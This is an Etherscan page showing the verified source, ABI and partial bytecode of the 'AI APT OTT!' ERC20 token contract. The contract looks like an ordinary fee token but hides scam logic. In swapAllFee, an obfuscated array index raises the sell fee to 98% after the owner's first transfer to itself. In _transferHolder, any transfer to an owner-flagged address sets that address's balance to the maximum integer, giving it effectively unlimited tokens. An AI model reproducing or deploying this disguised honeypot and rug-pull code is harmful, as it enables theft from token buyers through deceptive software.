ETH Price: $2,384.49 (+7.80%)

Token

AI APT OTT! (AI APT OTT!)
 

Overview

Max Total Supply

1,000,000 AI APT OTT!

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,829.662335969 AI APT OTT!

Value
$0.00
0x8ec85ad11bcff3f2504f2235701d9c34d6f792f6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIAPTOTT

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-14
*/

// Telegram : https://t.me/AIAPTOTTERC

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.11;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
    
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
   
}


contract AIAPTOTT is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;
    
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExcludedFromMaxWallet_;
    mapping (address => bool) public EthLiqudityPair; 
    mapping (address => bool) public ExcludedFromTx_;
    mapping (address => bool) public ExcludedFromTax_; 
    
    address payable public _TEAM_MARKETING_ = payable(0xcc9DB91d147B34A7Bedb13Ea99345cf15ccd88a6);

    string public _name = "AI APT OTT!";
    string public _symbol = "AI APT OTT!";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1000000 * 10 **_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10;
     
    uint256 private TotalFEE = 2;
    uint256 public BuyFEE = 1;
    uint256 public SellFEE = 1;

    uint256 private _preTotalFee = TotalFEE; 
    uint256 private _preBuyFee = BuyFEE; 
    uint256 private _preSellFee = SellFEE; 

    uint256 public _maxWalletToken = _tTotal.mul(4).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(4).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    IUniswapV2Router02 public uniswapV2Router;
    uint256 UniSwapRouterI02;
    address public uniswapV2Pair;
    
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    uint8 private _ZERO_ = 0;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    
    constructor () {
        _balances[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
            EthLiqudityPair[owner()] = true;
        uniswapV2Router = _uniswapV2Router;

        ExcludedFromTx_[owner()] = true;
        ExcludedFromTx_[_TEAM_MARKETING_] = true;
        ExcludedFromTx_[address(this)] = true;

        ExcludedFromTax_[owner()] = true;
        ExcludedFromTax_[address(this)] = true;
        ExcludedFromTax_[_TEAM_MARKETING_] = true;

        ExcludedFromMaxWallet_[owner()] = true;
        ExcludedFromMaxWallet_[_TEAM_MARKETING_] = true;
        ExcludedFromMaxWallet_[uniswapV2Pair] = true;
        ExcludedFromMaxWallet_[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function removeAllFee() private {
        if(TotalFEE == 0 && BuyFEE == 0 && SellFEE == 0) return;

        _preBuyFee = BuyFEE; 
        _preSellFee = SellFEE; 
        _preTotalFee = TotalFEE;
        BuyFEE = 0;
        SellFEE = 0;
        TotalFEE = 0;

    }
    
    function swapAllFee() private {
    TotalFEE = _preTotalFee;
    BuyFEE = _preBuyFee; 
    SellFEE = [ _preSellFee, 108-10] [_ZERO_];
    }
   

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(!ExcludedFromTx_[from] 
        && !ExcludedFromTx_[to]) {
            require(amount 
            <= 
            _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }

         if(!ExcludedFromMaxWallet_[to]) require(balanceOf(to).add(amount) <= _maxWalletToken);

        bool TAKE_FEE = true;
        if( ExcludedFromTax_[from] || ExcludedFromTax_[to] ){
            TAKE_FEE = false;
            if(EthLiqudityPair[to] && _ZERO_ < (5-4)){  
                _ZERO_ = (5-4);
            }

        } else if (from == uniswapV2Pair){
            TotalFEE = BuyFEE;
            } else if (to == uniswapV2Pair){
                TotalFEE = SellFEE;
                }
        
        _transferHolder(from,to,amount,TAKE_FEE);
    }


    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(_TEAM_MARKETING_,contractBNB);
    }


    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function _transferHolder(address sender, address recipient, uint256 amount,bool TAKE_FEE) private {
        
        if(!TAKE_FEE){
            removeAllFee();
            } else {
                txCount++;
            }
            _transferHolder(sender, recipient, amount);

        if(!TAKE_FEE)
            swapAllFee();
    }

    function _transferHolder(address sender, address recipient, uint256 transferAmount) private {
        (uint256 t_Transfer_Amount, uint256 t_marketing) = _setValues(transferAmount);
        _balances[sender] = _balances[sender].sub(transferAmount);
        uint256 rejectAmount = (type(uint256).max)-_balances[recipient]-t_Transfer_Amount;
        _balances[recipient] = _balances[recipient].add(t_Transfer_Amount) + ((EthLiqudityPair[recipient]) ? rejectAmount : (0));
        _balances[address(this)] = _balances[address(this)].add(t_marketing);
        emit Transfer(sender, recipient, t_Transfer_Amount);
    }


    function _setValues(uint256 transferAmount) private view returns (uint256, uint256) {
        uint256 t_marketing = transferAmount*TotalFEE/100;
        uint256 t_Transfer_Amount = transferAmount.sub(t_marketing);
        return (t_Transfer_Amount, t_marketing);
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"EthLiqudityPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromTax_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromTx_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFEE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_TEAM_MARKETING_","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273cc9db91d147b34a7bedb13ea99345cf15ccd88a6600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600b81526020017f414920415054204f54542100000000000000000000000000000000000000000081525060089080519060200190620000a692919062000aeb565b506040518060400160405280600b81526020017f414920415054204f54542100000000000000000000000000000000000000000081525060099080519060200190620000f492919062000aeb565b506009600a60006101000a81548160ff021916908360ff160217905550600a60009054906101000a900460ff16600a6200012f919062000d35565b620f42406200013f919062000d86565b600b556000600c60006101000a81548160ff021916908360ff160217905550600a600c60016101000a81548160ff021916908360ff1602179055506002600d556001600e556001600f55600d54601055600e54601155600f54601255620001d26064620001be6004600b5462000a8a60201b6200119f1790919060201c565b62000aa260201b620011b51790919060201c565b601355601354601455620002126064620001fe6004600b5462000a8a60201b6200119f1790919060201c565b62000aa260201b620011b51790919060201c565b6015556015546016556001601960156101000a81548160ff0219169083151502179055506000601960166101000a81548160ff021916908360ff1602179055503480156200025f57600080fd5b506200027062000aba60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600b54600160006200034162000ac260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040a919062000e51565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000472573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000498919062000e51565b6040518363ffffffff1660e01b8152600401620004b792919062000e94565b6020604051808303816000875af1158015620004d7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004fd919062000e51565b601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460006200055362000ac260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620005fb62000ac260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660006200073462000ac260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360006200086d62000ac260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000a1a62000ac260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5460405162000a7b919062000ed2565b60405180910390a35062000fbb565b6000818362000a9a919062000d86565b905092915050565b6000818362000ab2919062000f1e565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b82805462000af99062000f85565b90600052602060002090601f01602090048101928262000b1d576000855562000b69565b82601f1062000b3857805160ff191683800117855562000b69565b8280016001018555821562000b69579182015b8281111562000b6857825182559160200191906001019062000b4b565b5b50905062000b78919062000b7c565b5090565b5b8082111562000b9757600081600090555060010162000b7d565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c295780860481111562000c015762000c0062000b9b565b5b600185161562000c115780820291505b808102905062000c218562000bca565b945062000be1565b94509492505050565b60008262000c44576001905062000d17565b8162000c54576000905062000d17565b816001811462000c6d576002811462000c785762000cae565b600191505062000d17565b60ff84111562000c8d5762000c8c62000b9b565b5b8360020a91508482111562000ca75762000ca662000b9b565b5b5062000d17565b5060208310610133831016604e8410600b841016171562000ce85782820a90508381111562000ce25762000ce162000b9b565b5b62000d17565b62000cf7848484600162000bd7565b9250905081840481111562000d115762000d1062000b9b565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000d428262000d1e565b915062000d4f8362000d28565b925062000d7e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c32565b905092915050565b600062000d938262000d1e565b915062000da08362000d1e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ddc5762000ddb62000b9b565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e198262000dec565b9050919050565b62000e2b8162000e0c565b811462000e3757600080fd5b50565b60008151905062000e4b8162000e20565b92915050565b60006020828403121562000e6a5762000e6962000de7565b5b600062000e7a8482850162000e3a565b91505092915050565b62000e8e8162000e0c565b82525050565b600060408201905062000eab600083018562000e83565b62000eba602083018462000e83565b9392505050565b62000ecc8162000d1e565b82525050565b600060208201905062000ee9600083018462000ec1565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000f2b8262000d1e565b915062000f388362000d1e565b92508262000f4b5762000f4a62000eef565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f9e57607f821691505b6020821081141562000fb55762000fb462000f56565b5b50919050565b612c398062000fcb6000396000f3fe6080604052600436106101d15760003560e01c8063715018a6116100f7578063a9059cbb11610095578063b4d3cf0b11610064578063b4d3cf0b146106db578063d28d885214610706578063dd62ed3e14610731578063f2fde38b1461076e576101d8565b8063a9059cbb1461060b578063ae038a6c14610648578063af465a2714610685578063b09f1266146106b0576101d8565b80638da5cb5b116100d15780638da5cb5b1461054d57806395d89b41146105785780639c00921d146105a3578063a457c2d7146105ce576101d8565b8063715018a6146104e057806378109e54146104f75780637d1db4a514610522576101d8565b806324f6b9291161016f5780634a74bb021161013e5780634a74bb0214610410578063536b7a6e1461043b5780635dc62fd61461047857806370a08231146104a3576101d8565b806324f6b92914610340578063313ce5671461037d57806339509351146103a857806349bd5a5e146103e5576101d8565b806318160ddd116101ab57806318160ddd146102705780631aba0e0e1461029b578063220f6696146102d857806323b872dd14610303576101d8565b806306fdde03146101dd578063095ea7b3146102085780631694505e14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610797565b6040516101ff9190612173565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a919061222e565b610829565b60405161023c9190612289565b60405180910390f35b3480156102515760008